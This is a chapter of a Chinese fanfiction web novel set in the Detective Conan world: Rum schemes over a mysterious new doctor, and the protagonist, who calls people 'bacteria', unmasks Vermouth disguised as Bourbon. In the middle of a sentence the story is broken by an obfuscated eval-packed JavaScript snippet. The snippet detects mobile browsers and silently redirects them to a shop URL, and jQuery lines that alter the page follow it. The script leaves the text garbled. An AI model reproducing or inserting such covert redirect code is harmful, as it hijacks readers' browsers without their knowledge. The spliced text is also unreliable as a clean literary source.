15.十五颗头孢
作品:《头孢冷傲退真酒》 与此同时,朗姆的私人基地内。
“朗姆大人,以上就是我们的人窃听到的全部内容。”
录音设备里,声音断断续续传出,将萩原研二与苏格兰的对话悉数转播。随后下属按下暂停键,恭敬地垂首等待指示。
戴着单边眼罩的光头男人——朗姆靠在椅子里,一手捏着雪茄,另一只手有一搭没一搭地敲着扶手。
“田纳西说得倒是没错。”他忽而冷笑一声,“武器就该有武器的样子,看他们关系不怎么样,我就放心了。”
下属适时附和:“是,当初苏格兰和田纳西、加拿大走得那么近,属下还担心……”
“担心什么?”朗姆嗤笑,“担心他们三个重归于好?”
“毕竟苏格兰的能力很强,不愿放手也是正常的。”下属小心翼翼地斟酌用词,“更何况,他们三个是从小一起长大的情分……”
“情分?”
像是听到什么好笑的笑话,朗姆把雪茄按灭在烟灰缸里,语气意味深长:“一起长大的情分有什么用?关系永远敌不过切实的利益。不过——”
他顿了顿,在下属战战兢兢的眼神下,眸光变得幽深:
“苏格兰还是跟田纳西上了车?看来他们还没放弃这把刀。”
也是,当初那三个人从训练营里杀出来时,可是给他找尽了麻烦。
要不是后来他抓住机会挑拨,让加拿大亲手把苏格兰丢进死局当诱饵,这三个刺头恐怕早就抱团成更大的麻烦了。
这么一对比,波本可真是一颗好用的棋子,当初让波本去抢苏格兰果然是对的。
想到与自己有着合作关系的波本,朗姆话题一转:“波本现在在哪?”
在那个基地里,波本能行使的权力还在加拿大之下,这样可不行。他得找个机会,让波本得到的权力更大一些,而那个新来的医生或许就是突破口。
下属忙道:“波本大人他……”
“朗姆大人——!”
话还没说完,门外传来急促的脚步声。一名情报人员推门而入,脸色慌张而古怪:“朗姆大人!波本的动向有异!”
朗姆独眼一眯,“说。”
“是。波本今晚的任务是处理一个叛徒,按照计划,他现在应该还在目标建筑附近布置炸|药。”
他咽了口唾沫,继续:“但就在三分钟前,基地的暗哨汇报,波本突然出现在训练营,二话不说直奔医务室去了。”
“哦?也就是说现在有两个波本?”
“是。”
朗姆思索片刻,忽然笑了,“是贝尔摩德。”
下属愣住:“贝尔摩德大人?难道是她易容成波本的样子……”
“看来她要去医务室找那个青岛纯生。”朗姆接上他的话,语气里满是玩味,“真是太有趣了。”
他站起身看向窗外,月光把他的影子拉得很长:“那个青岛纯生,到底是什么人?”
下属也反应过来,快速调出资料:“据说青岛纯生是贝尔摩德大人带回来的,和波本大人以及苏格兰、田纳西都有过接触。”
“是么。”朗姆咀嚼着这句话,眼神越来越深沉,“田纳西是加拿大派去的,苏格兰是波本派去的,波本又与我们有合作关系。”
他望向下属的眼,笑容不寒而栗:“那么,我也得往那个医生身边插个人才行,不然就不公平了,不是么?”
下属立刻意会:“您的意思是……?”
“呵呵。”
独眼老人将笑闷在胸腔里,目光幽幽望向远处被云逐渐遮蔽的月,半晌后似自语般呢喃:
“既然那位医生能和狙击手情报员同时周旋……”
“那医生和律师,应该也聊得来吧。”
*
头孢写字的手顿住了。
【宿主?】系统冒头,【怎么了?】
头孢沉默了两秒,抬眼看向窗外,蹙眉道:“有点恶寒,就像周围的菌群数量一下子多起来的感觉。”
系统:?
这什么恐怖故事!
白发青年耸耸肩,继续记录。
自打苏格兰离开后,头孢就把灯关掉了。虽说组织干的都是见不得人的勾当,可这座基地并不是纯粹的地下建筑。
这里外部被伪装成射击俱乐部,所以头孢的医务室也有扇正常的窗户,任由月光洒进来,将诊桌照出一片银白。
系统瞄了一眼奋笔疾书的妖精,【实验记录?你写这个做什么?】
“记一下目前接触到的杂菌的特征和弱点,进行对比实验,看哪种杀菌方式最有效。”
头孢的语气像在讨论午餐吃什么,“金毛菌警惕性高,猫眼菌体质弱但抗药性强,紫色杆菌……”
他顿了顿,“暂时没找到弱点。”
系统挠挠不存在的头:【呃…虽然你杀心坚定,但咱们能不能稍微考虑一下任务的其他解法?】
“比如?”
【比如你就真的没想过保护他们吗?】
头孢笔尖一顿,略显差异地挑眉:“保护?”
【对啊!保护!不是杀菌!】系统痛心疾首,【要不是热水事件和仙人掌,我还以为你终于开窍了!结果你从头到尾想的都是怎么把人家扎死!】
这个任务到底还能不能完成了?别开局拯救世界就从入门到入土啊!
头孢想了想,诚恳回答:“没事。我会让他们承认我的能力的。”
一次杀不死,那就多来几次试试!
总觉得哪里不对劲,系统还想再说什么,就听咚咚咚的敲门声响起。
头孢将笔记本随手推开,起身走到门口,开门。就见金发男人站在门外,双臂环抱,紫灰色的眼自下而上打量着他,带着点漫不经心的玩味。
而后男人微微一笑,“不请我进去?”
头孢注视着那张脸,突然开口:“进来吧。”
让开位置请门外的金发男人进来,头孢这才关上门,转身道:“你是谁?”
波本回头,挑眉:“什么?”
“我问你是谁。”手腕一翻,针筒已然握在掌心,头孢认真道:“别以为戴上金发、再把脸涂黑了就是金毛菌,我的嗅觉很敏锐。”
波本沉默一瞬,“你平时就是这么跟我说话的?”
他的态度过于平静,压低的嗓音里啜着几分危险,让系统忍不住对着头孢隔空戳了又戳。然而出乎意料地,下一秒,那张属于波本的脸上露出了一个笑。
无奈中带着几分妩媚,像变脸一样,整个人的气质瞬间从冷硬切换到风情万种。
‘波本’勾起唇角,开口却是女人的声音:“你还真是敏锐。”
她抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197548|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起手,在身上几个位置按了按,挺拔的身形就像泄了气的气球,一寸一寸地缩水,瞬息变作属于女性的玲珑曲线。
最后,她揭下了那层薄薄的、与真人无异的假面。
月光下,一张精致艳丽的脸露出来。金发碧眼,红唇微勾,美得极具侵略性。
“我的易容术师承里世界最厉害的怪盗,”她歪头看着白发青年,眼里满是审视与兴味,“按理说不该有破绽。小家伙,你是怎么发现的?”
头孢看着她,没有多余的表情变化,“你说过还有几天就回东京,而且你和金毛菌的味道不一样。”
贝尔摩德挑眉:“味道?”
“对。”头孢在心里对系统说:【这群杂菌怎么回事,像是刷新点直接放在了医务室门口。】
有点吵,以及这个病原体组织的杂菌都这么闲吗?
系统汗颜:【你竟然才发现?因为你太吸引他们啦!】
就这样清新抽象不做作的新人,放在恐怖组织里简直就是一朵奇葩,谁不想来看一眼啊?比如现在外面还有人在听墙角呢!
不是很懂系统的话,头孢看向金发女郎等待对方的下文。贝尔摩德显然更在意味道这个词,她往前走了两步,凑近头孢,语气暧昧:
“味道啊……”
她绕着白发青年转了半圈,高跟鞋敲击地板,发出清脆的声响。
“我一下飞机就过来了,就是想看看你的情况。没想到你在这里混得如鱼得水,和波本的关系都这么好了——连味道都一清二楚。”
走到诊桌边,贝尔摩德随口问:“刚刚从你这离开的,是波本?”
“那倒不是。”头孢坦然,“是猫眼菌。”
贝尔摩德转头看向头孢,表情微妙:“猫眼菌?”
她是魔女菌,那猫眼菌又是什么鬼?
“嗯。”头孢想了想,他其实不太擅长记不是自己起的名字,“叫什么来着……”
系统提示他:【苏格兰。】
“哦对,苏格兰。”他说。
贝尔摩德的表情更微妙了。
她看向头孢,眼神复杂:“你还挺有能耐的,竟然只用了三天就把苏格兰和波本同时……”
没说下去,贝尔摩德意味不明地笑了一下。
她的目的与之前交代给青岛纯生的一样,只是下飞机来看看她的小医生而已。
就算再坏,贝尔摩德也不至于像波本推理得那样,将救命恩人送进火坑里还不管不问。
再说,青岛纯生此人身上还有着她看不透的地方,她不会在对方给予自己的乐趣消失前抽离注意。不过,这些看不透的点说不定会威胁到她本人,为此贝尔摩德才将其丢到这边,让其他人进行试探。
而现在,是时候回来摘取试探的成果了。
目光落在诊桌上,擅于揣摩人性的女人视线一凝,发现那里正摊开着一本笔记本。雪白的内页在月光照耀下格外显眼,也足够将那清秀工整的笔迹映照清晰。
是日记?还是报告?
好奇心驱使着她凑近诊桌。然而十秒后,看清所有内容的金发女郎却在白发青年的疑惑下,猛地往后窜了一步!
头孢:?
系统:【?】
贝尔摩德欲言又止、止言又欲:“你……”
“记的这些都是什么?”

